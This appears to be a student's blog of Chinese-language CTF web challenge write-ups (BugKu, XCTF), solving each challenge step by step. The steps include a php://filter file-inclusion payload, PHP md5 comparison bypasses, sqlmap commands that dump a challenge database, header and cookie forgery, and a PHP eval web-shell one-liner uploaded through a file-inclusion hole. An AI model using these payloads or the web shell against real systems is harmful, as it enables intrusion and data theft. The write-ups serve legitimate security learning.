CTF web练习题
BUGKU Web13(2020.12.28)
打开题目环境
提示让看源码,于是直接F12查看源码:
发现一段js代码,里面p1和p2的值应该是url编码,用url解码试试:
得到一段代码。
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
因为我不懂js代码,去查了一下:
unescape() 函数可对通过 escape() 编码的字符串进行解码。
但是这段代码里没有出现escape(),所以应该没有进行编码,直接将p1、‘54aa2’、p1进行拼接,得到:67d709b2b54aa2aa648cf6e87a7114f1
输入框中,得到flag
然后我看到一个大佬直接将源代码里发现的那一串代码放到F12的Console中执行,将eval改为alter可以直接弹出代码和拼接过的字符串,试了一下,确实可以。
BUGKU Web14(2020.12.29)
1.打开网页,发现只有上图的一个可以点击的地方,直接点击,进入一个新的页面
同时注意到网址的变化:
?file=show.php;可以联想到文件包含漏洞,然后我们就可以用php://filter协议来查看源文件内容;
构造:
php://filter/read=convert.base64-encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;
这时页面会显示出源文件index.php经过base64编码后的内容
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFnezUxMzYxOWE0ZDNmOWRmZmQ2MjQxZWZkN2RhN2U3OTY1fQ0KPz4NCjwvaHRtbD4NCg==
然后经过base64解码就可以看到flag;
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{513619a4d3f9dffd6241efd7da7e7965}
?>
</html>
BUGKU Web15(2020.12.30)
打开网页,如下图
直接说密码是五位数字,猜测需要直接爆破
在Bp中设置好五位数字的范围,开始爆破
成功爆破出密码为12486
输入密码,得到flag
BUGKU Web16(2020.12.31)
打开题目,发现一串64位的md5,也没解出来,先放着。
提示说备份是个好习惯,说明网页可能存在备份文件,于是用御剑进行扫描
明显http://114.67.246.176:14500/index.php.apk是备份文件进入网页,现在备份文件
打开发现一段PHP代码
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str); #将key替换为空
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
} #如果key1的md5值和key2的md5值相等并且key1和key2不一样时,输出flag
?>
要获取flag有两个关键点,一个是key会被替换为空,我们可以采用复写发办法,将参数key写成kkeyey,这样运行代码后替换过后还是key.
这里要记住一个知识点:
当遇到比较md5值时,有两种方法进行绕过:
一:在PHP中,利用”!=”或”==来对哈希值进行比较时,PHP会把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
所以第二个条件我们可以选取开头为oe的两组md5值,比如
http://114.67.246.176:10842/?kekeyy1=240610708&kekeyy2=314282422
二:如果传入md5函数的参数为数组类型,则返回null
null==null 时可以通过数组可以绕过 == md5判断
所以我们也可以直接采用数组进行绕过,比如
因为数组的原因,我们在数组后面的等号写什么都可以。
参考数组绕过及php语言的特性
这两种方法都可以绕过==md5的情况,成功得到flag
BUGKU Web17
打开网址,发现是一个成绩查询的页面,输入1,2,3分别可以查询三个人的成绩,
肯定是考察post注入,用sqlmap比较方便。
首先用bp抓包,确定参数为id
然后使用sqlmap构建语句进行爆破数据库
python sqlmap.py -u http://114.67.246.176:12067/index.php --data “id=1” --dbs
爆破得到四个数据库,猜测flag在test中
继续爆破表
python sqlmap.py -u http://114.67.246.176:12067/index.php --data “id=1” -D test --tables
发现这个数据库里面没有表,没关系,换一个继续爆破
python sqlmap.py -u http://114.67.246.176:12067/index.php --data “id=1” -D skctf --tables
一看就知道flag在fl4g这个表里面,于是直接将这个表输出
python sqlmap.py -u http://114.67.246.176:12067/index.php --data “id=1” -D skctf -T fl4g --dump
得到flag。
sqlmap真好用~~
BUGKU Web34(2021.01.01)
提示说文件包含,那肯定是有文件包含漏洞,先打开环境
网页表面看不出什么有效信息,url看样子就是文件包含的格式,但是后面怎么改还不知道。于是查看源码:
一大串代码看不懂,但是发现了这个bookmarks.html,感觉可以试试,于是在url后面将hello.php改为bookmarks.html
访问后页面什么都没有,查看源代码
发现upload.php
于是再将url后面改成upload.php,发现文件上传的地方。
接下来就是尝试上传一句话木马并且菜刀连接了。
用bp抓包进行测试,可以看到,虽然用普通的一句话木马写的图片成功上传上去了,但是返回的包里php代码被过滤了,所以一句话木马是不会被执行的。
最后也不是很懂,用这道题的评论区里有一个大佬给的代码成功连接了,具体还不是很懂,应该是文件包含漏洞和文件上传漏洞结合产生的一个独特的代码。评论区的大佬说这道题必须结合文件包含漏洞才能连接上,我试了好几种一句话木马确实都没有连上。
<script language=php>echo 'a'; eval($_POST['pass']);</script>
这里还需要注意一点:地址也必须用文件包含的格式,图片地址要放到file=的后面,才能连接上。
菜刀连接,在根目录下得到flag。
攻防世界进阶区001(2021.01.02)
题目:baby_web
打开题目环境:
根据提示中的初始页面,我们把1.php改成index.php,发现网页马上跳转回1.php了,说明有问题,我们通过抓包来尝试访问index.php
然后成功发现flag
攻防世界进阶区002(2021.01.03)
题目:Training-WWW-Robots
打开环境
咱英语不好,开个翻译看看:
按照提示在url后面加上robots.txt,访问页面
然后发现目录中有fl0g.php,直接访问,得到flag
攻防世界进阶区004(2021.01.04)
题目:Web_php_include
打开环境,发现php代码
需要get一个参数page,但是"php://"被替换为空,我们可以试着用大小写绕过
发现里面有个疑似flag的php文件,于是使用cat命令读取,在源码中发现flag.
这道题还有其他写法,参考攻防世界-Web_php_include (四种解法)
BugKu Web12(2021.03.14)
打开环境,是一个管理员登录系统
查看源码,发现最后有一串被注释的BASE64编码,解码结果为test123,怀疑是密码。
输入admin test123,发现ip不对,被记录了,说明需要伪造ip才行。
使用Bp进行抓包,在包中HTTP头中添加 X-Forwarded-For: 127.0.0.1
放包,登录成功,得到flag.
BugKu Web20(2021.03.14)
题目描述为cookies欺骗,什么是cookies欺骗呢?就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录,用Bp进行改包可以实现。
打开题目,发现一行特别长的字符串
查看源码后并没有更多的发现。
观察url,发现filename的参数为BASE64编码,解码发现值为keys.txt,直接访问keys.txt返回的结果一模一样。
于是尝试通过构造index.php的BASE64编码赋值给filename参数,尝试查看index.php的源码。
发现什么都没有:
查看源码后发现有<?php
猜测是后续代码没有显示出来,这时注意到url中还有一个参数line,是行的意思,可能代表着显示代码的行数,于是更改line的参数,得到全部代码(大佬可以写个poython脚本直接跑出来,我这里是一行一行粘贴的):
进行代码审计,发现需要伪造COOKIE为margin=margin,然后在keys.php中得到flag.
先对keys.php进行BASE64编码,构建url,参数line先空着,
然后使用Bp进行抓包,添加COOKIE参数margin=margin:
放包,成功得到flag: